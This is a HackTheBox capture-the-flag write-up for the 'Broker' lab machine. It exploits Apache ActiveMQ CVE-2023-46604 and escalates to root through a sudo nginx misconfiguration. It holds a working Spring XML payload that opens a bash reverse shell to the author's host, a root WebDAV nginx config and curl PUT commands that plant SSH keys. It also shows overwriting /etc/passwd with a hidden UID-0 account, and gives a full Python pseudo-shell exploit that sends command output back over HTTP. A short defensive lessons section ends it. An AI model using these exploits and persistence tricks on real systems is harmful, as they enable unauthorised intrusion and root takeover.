Ducksec Mar 09, 2024 hackthebox, writeups

HackTheBox Broker Writeup

Broker is an easy difficulty Linux machine hosting a vulnerable version of Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx which can be exploited in a number of ways to gain root privilege. Let’s dive in!

Gaining user access

As usual, we’ll well add broker.htb to /etc/hosts, fire off nmap and see what we’ve got!

Right away, nmap gives quite a lot of output:

map broker.htb -sC -sV -p -  

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 13:28 GMT 
Nmap scan report for broker.htb (10.129.65.73) 
Host is up (0.023s latency). 
Not shown: 65526 closed tcp ports (conn-refused) 
PORT    STATE SERVICE   VERSION 
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|  256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA) 
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519) 
80/tcp   open  http    nginx 1.18.0 (Ubuntu) 
| http-auth:  
| HTTP/1.1 401 Unauthorized\x0D 
|_  basic realm=ActiveMQRealm 
|_http-title: Error 401 Unauthorized 
|_http-server-header: nginx/1.18.0 (Ubuntu) 
1883/tcp  open  mqtt 
| mqtt-subscribe:  
|  Topics and their most recent payloads:  
|   ActiveMQ/Advisory/Consumer/Topic/#:  
|_   ActiveMQ/Advisory/MasterBroker:  
5672/tcp  open  amqp? 
| fingerprint-strings:  
|  DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:  
|   AMQP 
|   AMQP 
|   amqp:decode-error 
|_   7Connection from client using unsupported AMQP attempted 
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65 
8161/tcp  open  http    Jetty 9.4.39.v20210325 
|_http-title: Error 401 Unauthorized 
| http-auth:  
| HTTP/1.1 401 Unauthorized\x0D 
|_  basic realm=ActiveMQRealm 
|_http-server-header: Jetty(9.4.39.v20210325) 
45975/tcp open  tcpwrapped 
61613/tcp open  stomp    Apache ActiveMQ 
| fingerprint-strings:  
|  HELP4STOMP:  
|   ERROR 
|   content-type:text/plain 
|   message:Unknown STOMP action: HELP 
|   org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP 
|   org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258) 
|   org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85) 
|   org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83) 
|   org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233) 
|   org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215) 
|_   java.lang.Thread.run(Thread.java:750) 
61614/tcp open  http    Jetty 9.4.39.v20210325 
|_http-title: Site doesn't have a title. 
| http-methods:  
|_  Potentially risky methods: TRACE 
|_http-server-header: Jetty(9.4.39.v20210325) 
61616/tcp open  apachemq  ActiveMQ OpenWire transport 
| fingerprint-strings:  
|  NULL:  
|   ActiveMQ 
|   TcpNoDelayEnabled 
|   SizePrefixDisabled 
|   CacheSize 
|   ProviderName  
|   ActiveMQ 
|   StackTraceEnabled 
|   PlatformDetails  
|   Java 
|   CacheEnabled 
|   TightEncodingEnabled 
|   MaxFrameSize 
|   MaxInactivityDuration 
|   MaxInactivityDurationInitalDelay 
|   ProviderVersion  
|_   5.15.15 
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : 

Let’s first take a look at the web page - based on nmap’s output, we’re expecting some kind of authorisation, since our scan returned a 401.

broker1

As expected, we have http basic auth in force, of course, we could brute force this - but first, let’s try some low-tech hacking here - how about some basic common credentials? - admin/password does not work, but admin/admin does!

Now that we’ve authenticated, we can confirm that we have an installation of Apache MQ:

broker2

Apache ActiveMQ is an open-source message broker built on the Java Message Service (JMS) standard, designed to facilitate communication between different systems, applications, and components. It serves as a middleware, enabling asynchronous messaging by providing a reliable way for components to exchange data through messages. In the context of, say, an e-commerce platform, Apache ActiveMQ can serve as a central messaging system between the Order Processing Service, Inventory Management Service, and Shipping Service. In a cloud context the same sort of task is performed by a service like AWS Simple Notification Service. Before we start to worry about the specific setup and what ActiveMQ could be passing messages for on this box, however, we have a specific version - let’s see if we have any possible vulnerabilities to exploit right here in ActiveMQ.

Firstly, let’s see if ActiveMQ was impacted by the recent Log4Jjvulnerability - CVE-2021-44228. A quick Google reveals some message threads on the ActiveMQ support boards confirming that “CVE-2021-44228 has no impact on any ActiveMQ broker because no ActiveMQ broker uses any version of Log4j2.” Despite this, some more digging suggests that ActiveMQ “Classic” does use Log4j for logging, but the latest versions (i.e. 5.15.15 and 5.16.3) use Log4j 1.2.17 which is not impacted by CVE-2021-44228. There’s enough woolly language here to attract my interest - sadly, it’s not uncommon to see vendors rush to claim their products are not vulnerable to “x” without really verifying this or attempting to obfuscate possible issues with jargon - but since our version is 5.15.15 and that’s the exact version being held up as not vulnerable in the documentation we’ll move on for now.

After a bit more searching and i came across another possible vector - CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker to, quote: “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” See what I mean about obfuscation?! This is a highly abstract way of saying that:

A deserialization vulnerability exists in Apache ActiveMQ’s OpenWire protocol. This flaw can be exploited by an attacker to execute arbitrary code on the server where ActiveMQ is running.

We can quickly find a good POC exploit here https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ - the only issue with which is that we’ll need to generate an msfvenom binary to upload to the target - there’s also a python version which will execute a command instead, so let’s give this a whirl. Later on, I’ll write my own version which will give us a pseudoshell, but for now, let’s clone https://github.com/evkl1d/CVE-2023-46604 and give it a go!

The exploit is well documented and simple enough to try - firstly, well edit poc.xml to add our own address

<?xml version="1.0" encoding="UTF-8" ?> 
   <beans xmlns="http://www.springframework.org/schema/beans" 
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
     xsi:schemaLocation=" 
   http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> 
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> 
        <constructor-arg> 
        <list> 
          <value>bash</value> 
          <value>-c</value> 
          <value>bash -i &gt;&amp; /dev/tcp/10.10.14.48/8181 0&gt;&amp;1</value> 
        </list> 
        </constructor-arg> 
      </bean> 
   </beans>

and run: python3 exploit.py -i broker.htb -p 61616 -u http://10.10.14.48:8080/poc.xml


   / \  ___| |_(_)_  _____|  \/  |/ _ \    |  _ \ / ___| ____| 
  / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |  |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___  
 /_/  \_\___|\__|_| \_/ \___|_|  |_|\__\_\   |_| \_\\____|_____| 


[*] Target: broker.htb:61616 
[*] XML URL: http://10.10.14.48:8080/poc.xml 

[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31342e34383a383038302f706f632e786d6c


python3 -m http.server 8080 

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 

10.129.65.79 - - [10/Nov/2023 14:08:57] "GET /poc.xml HTTP/1.1" 200 -


└──╼ **$**nc -nvlp 8181 

listening on [any] 8181 ... 

connect to [10.10.14.48] from (UNKNOWN) [10.129.65.79] 46432 

bash: cannot set terminal process group (875): Inappropriate ioctl for device 

bash: no job control in this shell 

activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami 

whoami 

activemq

Our shell comes back, and were in as the activemq user

we’ll quickly grab user.txt from activemq’s home directory - now let’s enumerate

As always I’ll start by seeing if I have any sudo privileges:

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l  
sudo -l  
Matching Defaults entries for activemq on broker: 
   env_reset, mail_badpass, 
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, 
   use_pty 

User activemq may run the following commands on broker: 
   (ALL : ALL) NOPASSWD: /usr/sbin/nginx

We have full control over nginx - this is certainly worth exploring - which version do I have?

activemq@broker:/opt/apache-activemq-5.15.15/bin$ nginx -v 
nginx version: nginx/1.18.0 (Ubuntu)

Let’s see if we can find any vulnerabilities for this version… we find an article at legal hackers which seems relevant (and worth bearing in mind for the future) https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html however his wont work on this occasion as we need to be www-data.

So we have no direct exploit - but what we can probably do is change the nginx configuration. Since we’re able to run nginx as sudo - which remember, means we run as root we could actually mount the filesystem root / as a wedav directory - from there we can take a couple of approaches, such as dropping root ssh keys onto the box, or even just adding a user to /etc/passwd.

Firstly, we’ll create a malicious file

user root; 
worker_processes 4; 
pid /tmp/nginx.pid; 
events { 
worker_connections 768; 
} 
http { 
server { 
listen 7777; 
root /; 
autoindex on; 
dav_methods PUT; 
} 
}

Here, we define that the nginx worker processes will be run by root , meaning when we eventually upload a file, it will also be owned by root . The document root will be the root of the filesystem itself (/) - finally, we’ll enable dav_methods PUT, which will enable the WebDAV HTTP extension with the PUT method, which allows clients to upload files via our listening port, 7777. Put together, this configuration exposes the whole filesystem and allows us to write any file we like, as root - that’s a really bad day for a system admin!

Let’s download our file to the box, and then update the nginx configuration using sudo nginx -c

activemq@broker:~$ wget http://10.10.14.48:8080/evil.conf 
wget http://10.10.14.48:8080/evil.conf 
--2023-11-10 14:26:33--  http://10.10.14.48:8080/evil.conf 
Connecting to 10.10.14.48:8080... connected. 
HTTP request sent, awaiting response... 200 OK 
Length: 158 [application/octet-stream] 
Saving to: ‘evil.conf’ 

   0K                            100% 33.4K=0.005s 

2023-11-10 14:26:33 (33.4 KB/s) - ‘evil.conf’ saved [158/158] 
activemq@broker:~$ cp evil.conf /tmp 
activemq@broker:~$ sudo nginx -c /tmp/evil.conf 

The configuration looks to have been applied - let’s run nmap from our attack box to verify:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 14:29 GMT 
Nmap scan report for broker.htb (10.129.65.79) 
Host is up (0.020s latency). 

PORT   STATE SERVICE 
7777/tcp open  cbt 

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Excellent the port is now open - let’s first try to drop an ssh key on the box. It’ll generate a new ssh key using ssh-keygen on my system, then use curl to put the pubic key into the /root/.ssh folder on broker. I should then be able to log in via ssh.

──╼ **$**ssh-keygen                                                                                       
Generating public/private rsa key pair. 
Enter file in which to save the key (/home/duck/.ssh/id_rsa): root 
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in root 
Your public key has been saved in root.pub 
The key fingerprint is: 
SHA256:YCYo0XwzccK7448KdLqOIj9HIror0tE0ALvrYVjr0I8 
The key's randomart image is: 
+---[RSA 3072]----+ 
|o+ .o..      | 
| o+.=o      | 
|o .o.++      | 
| o  ++ .     | 
|...+ o  S     | 
|++=.=       | 
|**o= .      | 
|X+=oo.      | 
|XBE+o..      | 
+----[SHA256]-----+ 

─╼ **$**curl -X PUT broker.htb:7777/root/.ssh/authorized_keys -d "$(cat root.pub)"                                                      
──╼ **$**ssh root@broker.htb -i ./root 
The authenticity of host 'broker.htb (10.129.65.79)' can't be established. 
ECDSA key fingerprint is SHA256:/GPlBWttNcxd3ra0zTlmXrcsc1JM6jwKYH5Bo5qE5DM. 
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added 'broker.htb,10.129.65.79' (ECDSA) to the list of known hosts. 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) 
 
 \* Documentation:  https://help.ubuntu.com 
 \* Management:   https://landscape.canonical.com 
 \* Support:     https://ubuntu.com/advantage 
 
  System information as of Fri Nov 10 02:35:47 PM UTC 2023 
 
  System load:      0.0 
  Usage of /:       70.4% of 4.63GB 
  Memory usage:      12% 
  Swap usage:       0% 
  Processes:       159 
  Users logged in:    0 
  IPv4 address for eth0: 10.129.65.79 
  IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98 
 
 \* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s 
  just raised the bar for easy, resilient and secure K8s cluster deployment. 
 
  https://ubuntu.com/engage/secure-kubernetes-at-the-edge 
 
Expanded Security Maintenance for Applications is not enabled. 
 
0 updates can be applied immediately. 
 
Enable ESM Apps to receive additional future security updates. 
See https://ubuntu.com/esm or run: sudo pro status 
 
 
root@broker:~#

And we have root!

Another option here would have been to edit /etc/passwd - strictly speaking, we can’t edit the file as the activemq user, however using the webdav folder we’ve set up we can overwrite the current file. Let’s grab the existing /etc/passwd

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin 
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
pollinate:x:105:1::/var/cache/pollinate:/bin/false 
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin 
syslog:x:107:113::/home/syslog:/usr/sbin/nologin 
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin 
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin 
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false 
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin 
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin 
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin 
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false 
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash 
_laurel:x:998:998::/var/log/laurel:/bin/false

And we’ll edit /etc/passwd to add my own root user, then post it to the box:

└──╼ **$**cat passwd 

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin  
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin  
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
pollinate:x:105:1::/var/cache/pollinate:/bin/false  
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin  
syslog:x:107:113::/home/syslog:/usr/sbin/nologin  
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin  
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin  
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false  
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin  
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin  
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin  
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false  
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash  
_laurel:x:998:998::/var/log/laurel:/bin/false 
duck:YIlaK190xVPVc:0:0:duck:/root:/bin/bash

└──╼ **$**curl -X PUT broker.htb:7777/etc/passwd -d "$(cat passwd)"   

With my known user and password added to /etc/passwd, I can now either switch user in my existing shell, or simply ssh in:

ssh duck@broker.htb 
duck@broker.htb's password:  
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) 
 
 \* Documentation:  https://help.ubuntu.com 
 \* Management:   https://landscape.canonical.com 
 \* Support:     https://ubuntu.com/advantage 
 
  System information as of Fri Nov 10 02:41:40 PM UTC 2023 
 
  System load:      0.0 
  Usage of /:       70.4% of 4.63GB 
  Memory usage:      12% 
  Swap usage:       0% 
  Processes:       162 
  Users logged in:    0 
  IPv4 address for eth0: 10.129.65.79 
  IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98 
 
 \* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s 
  just raised the bar for easy, resilient and secure K8s cluster deployment. 
 
  https://ubuntu.com/engage/secure-kubernetes-at-the-edge 
 
Expanded Security Maintenance for Applications is not enabled. 
 
0 updates can be applied immediately. 
 
Enable ESM Apps to receive additional future security updates. 
See https://ubuntu.com/esm or run: sudo pro status 
 
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings 
 


Last login: Fri Nov 10 14:35:48 2023 from 10.10.14.48 
root@broker:~# whoami 
root

How comes this works? Aren’t Linux passwords now stored in /etc/shadow? They certainly are - and if you were to add a user with useradd that’s exactly where they would go. The second field in /etc/passwd represents user passwords, and you’ll see that most have an “x” - this simply means that an encrypted password is stored in /etc/shadow - however, /etc/password actually still has precedence, so if I add the hash of a known password in this space instead, I have a valid user. Of course, in this scenario we could edit /etc/shadow anyway - but this approach is worth knowing, in case something really dumb, like chmod 777 /etc/passwd has taken place.

Of course, to look at /etc/passwd this is quite obvious - since this is HTB it really doesn’t matter, but for a real pentest, how about this?:

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin  
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin  
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
pollinate:x:105:1::/var/cache/pollinate:/bin/false  
msgsys:YIlaK190xVPVc:0:0:msgsys:/root:/bin/sh  
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin  
syslog:x:107:113::/home/syslog:/usr/sbin/nologin  
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin  
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin  
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false  
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin  
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin  
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin  
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false  
activemq:x:1000:1000:,,,:/home/activemq:/bin/bash  
_laurel:x:998:998::/var/log/laurel:/bin/false 

Some form of file integrity monitor (or a blue teamer with a simple diff tool) will find this without much trouble - but from visual inspection it’s hard!

└──╼ $ssh msgsys@broker.htb
msgsys@broker.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 \* Documentation:  https://help.ubuntu.com
 \* Management:     https://landscape.canonical.com
 \* Support:        https://ubuntu.com/advantage

  System information as of Fri Nov 10 02:49:32 PM UTC 2023

  System load:           0.0
  Usage of /:            70.5% of 4.63GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             162
  Users logged in:       0
  IPv4 address for eth0: 10.129.65.79
  IPv6 address for eth0: dead:beef::250:56ff:fe96:ec98

 \* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Nov 10 14:48:00 2023 from 10.10.14.48
root@broker:~# 

Writing a better exploit

Now, let’s take a moment to make the exploit from earlier a little more user-friendly - ideally, I like to be able to interact with a system in a minimal way, without uploading a binary and without having to spawn a shell if I don’t need to. This ended up getting a bit more complex than most blog readers want to pick through, so at a high level, here I can use my own simple server to allow us to send and receive messages via HTTP and use a function to automatically customise the required XML file for each command we’d like to send. By modifying the command we’re executing on the target system to include a POST back of the command result, customising the response and cleaning it up on our end - then sticking the whole thing into a loop - we can generate a pseudo shell which functions pretty well! I’ve also included a quick and dirty connection check. Here’s the repo if you like to try it or learn more: https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell

import socket
import argparse
from http.server import BaseHTTPRequestHandler, HTTPServer
from xml.etree.ElementTree import Element, SubElement, tostring
import threading
from time import sleep


def main(ip, port, srvip, srvport):
    url = "http://" + srvip + ":" + str(srvport) + "/poc.xml"
    
    print("#################################################################################")
    print("#  CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell      #")
    print("#  Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d              #")
    print("#################################################################################")
    print()
    
    print("[*] Target:", f"{ip}:{port}")
    print("[*] Serving XML at:", url)
    print("[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.")
    print("[*] Type 'exit' to quit")
    print()
    
    global connected
    connected = False
    if not connected:
        print("#################################################################################")
        print("# Not yet connected, send a command to test connection to host.                 #")
        print("# Prompt will change to Apache ActiveMQ$ once at least one response is received #")
        print("# Please note this is a one-off connection check, re-run the script if you      #")
        print("# want to re-check the connection.                                              #")
        print("#################################################################################")
        print()
    else:
        pass
    
    while True:
        prompt = "[Target not responding!]$ " if not connected else "Apache ActiveMQ$ "
        command = input(prompt)
        if command.lower() == 'exit':
            print("Exiting...")
            return
        
        if not command:
            print("Please enter a valid command.")
            continue
        else:
            execute(ip, port, srvip, srvport, command, url)


def execute(ip, port, srvip, srvport, command, url):
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = url
    header = "1f00000000000000000001"
    body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
    payload = int2hex(len(body) // 2, 8) + body
    data = bytes.fromhex(payload)
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((ip, port))
    conn.send(data)
    conn.close()
    
    command = command
    generate_xml(command, srvip, srvport)
    serve_xml_content(srvip, srvport)
    return


def generate_xml(command, srvip, srvport): 
    root = Element('beans', attrib={
        'xmlns': 'http://www.springframework.org/schema/beans',
        'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance',
        'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd'
    })

    bean = SubElement(root, 'bean', attrib={'id': 'pb', 'class': 'java.lang.ProcessBuilder', 'init-method': 'start'})
    constructor_arg = SubElement(bean, 'constructor-arg')
    l = SubElement(constructor_arg, 'list')
    full_command = command + """ | awk '{print $0";"}' | curl -X POST -d @- http://""" + srvip + ":" + str(srvport) + "/receive_data" #use ; as a separator for later
    values = ['bash', '-c', full_command]
    
    for value in values:
        SubElement(l, 'value').text = value
        
    xml_string = '<?xml version="1.0" encoding="UTF-8" ?>\n' + tostring(root).decode()
    with open('poc.xml', 'w') as file:
        file.write(xml_string)
    
    return xml_string


run = True


class CustomHTTPServer(HTTPServer):
    def handle_timeout(self):
        if not run:
            self.shutdown()


class XMLServer(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # Override log_message to do nothing
    
    def do_GET(self):
        if self.path == '/poc.xml':
            with open('poc.xml', 'rb') as file:
                self.send_response(200)
                self.send_header('Content-type', 'text/xml')
                self.end_headers()
                self.wfile.write(file.read())  # serve poc.xml
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'404 - Not Found')
    
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode()
        
        response_data = post_data.split(';') # use the ; to reconstruct line breaks
        
        for line in response_data:
            print(line)
        
        self.send_response(200)
        self.end_headers()
        global connected
        connected = True
        global run_server
        run_server = False


def serve_xml_content(srvip, srvport):
    server_address = (srvip, srvport)
    httpd = HTTPServer(server_address, XMLServer)
    
    httpd.timeout = 1  # Set the server timeout
    
    global run_server
    run_server = True
    
    while run_server:
        httpd.handle_request()
    
    httpd.server_close()  # Close the server socket
    
    return


def string2hex(s):
    return s.encode().hex()


def int2hex(i, n):
    if n == 4:
        return format(i, '04x')
    elif n == 8:
        return format(i, '08x')
    else:
        raise ValueError("n must be 4 or 8")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--ip", help="ActiveMQ Server IP or Hostname", required=True)
    parser.add_argument("-p", "--port", type=int, default="61616", help="ActiveMQ Server Port, defaults to 61616", required=False)
    parser.add_argument("-si", "--srvip",  help="Serve IP", required=True)
    parser.add_argument("-sp", "--srvport", type=int, default=8080, help="Serve port, defaults to 8080", required=False)
    args = parser.parse_args()
    
    main(args.ip, args.port, args.srvip, args.srvport)

Avoiding the Hack - Lessons learned

So, what can we learn from this box? As is often the case we begin with some out-of-date software with a vulnerability - worse, one with a publicly available POC. What’s a bit different here is that the vulnerable software isn’t really designed to be user-facing - instead, it’s middleware, designed to do a job and likely in place to facilitate communication between other “value-producing” systems. It’s not uncommon for applications like this either to be missed or to sink lower on the patch priority list because:

  1. Middleware often does not directly produce value, which, in the eyes of management, often makes it a lower priority.
  2. Message queuing systems (for just one example) are not seen as (and often probably shouldn’t be) public-facing, which can give IT teams a false sense of security.
  3. IT teams are reluctant to update components with multiple points of integration - if you worry about an update messing up your stand-alone web server you worry a lot more about a system which interconnects 4 or 5 different applications!
  4. Sometimes, it’s not clear who is actually responsible for them!

